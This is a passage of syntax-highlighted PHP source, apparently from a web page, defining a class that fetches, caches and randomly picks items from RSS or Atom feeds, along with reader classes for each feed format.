			<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$i</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$picked</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_rand</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$index</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$picked</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$picked</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get X items from feed. Will advance pointer.
	 *
	 * @param int $count
	 * @return array of stdClass
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> find<span style="color: #009900;">&#40;</span><span style="color: #000088;">$count</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$items</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$item</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$items</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$count</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$items</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get the number of items in the feed.
	 *
	 * @return int
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get FeedReader object for the feed.
	 *
	 * @return FeedReader
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getReader<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getXML</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>RSSReader<span style="color: #339933;">::</span><span style="color: #004000;">canRead</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> RSSReader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>AtomReader<span style="color: #339933;">::</span><span style="color: #004000;">canRead</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> AtomReader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> NullReader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reader</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get XML element for the feed.
	 *
	 * @return SimpleXMLElement
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getCacheXML</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getURLXML</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLElement<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get XML element for the feed from cache.
	 *
	 * @return SimpleXMLElement or null if cache doesn't exist.
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getCacheXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//Store URL data in local cache.</span>
		<span style="color: #000088;">$cacheFilename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getCacheFilename</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cacheFilename</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cacheFilename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cacheTime</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cacheFilename</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLElement<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get XML element from the feed from the live URL.
	 * Will cache XML data to disk.
	 *
	 * @return SimpleXMLElement or null if URL is unreachable.
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getURLXML<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			try <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$xml</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SimpleXMLElement<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getCacheFilename</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #000088;">$xml</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span> catch <span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Name of the cache file for current URL.
	 *
	 * @return string
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> getCacheFilename<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">sys_get_temp_dir</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.feed.cache'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Interface for reading items from feed.
 */</span>
<span style="color: #000000; font-weight: bold;">interface</span> FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Create reader from SimpleXMLElement.
	 *
	 * @param SimpleXMLElement $root
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get single node.
	 *
	 * @return array or null.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get number of items.
	 *
	 * @return int.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Can this reader understand the XML file?
	 *
	 * @param SimpleXMLElement $root
	 * @return bool
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Concrete implementation of FeedReader that will never return an item.
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> NullReader implements FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//Nothing</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Concrete implementation of FeedReader that will read an Atom feed.
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> AtomReader implements FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">entry</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$node</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">entry</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$node</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #000088;">$item</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'description'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'image'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'link'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'date'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">published</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">//Iterate through link nodes getting content URL and images.</span>
		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">link</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'text'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$item</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'link'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'href'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$item</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'href'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span>object<span style="color: #009900;">&#41;</span><span style="color: #000088;">$item</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//Check for Atom namespace.</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://www.w3.org/2005/Atom'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getNamespaces</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #009933; font-style: italic;">/**
 * Concrete implementation of FeedReader that will read an RSS feed.
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> RSSReader implements FeedReader <span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$root</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">channel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> item<span style="color: #009900;">&#40;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$node</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">channel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$index</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$node</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span>object<span style="color: #009900;">&#41;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
			<span style="color: #0000ff;">'title'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'description'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'url'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900;">&#40;</span>string<span style="color: #009900;">&#41;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">link</span><span style="color: #339933;">,</span>
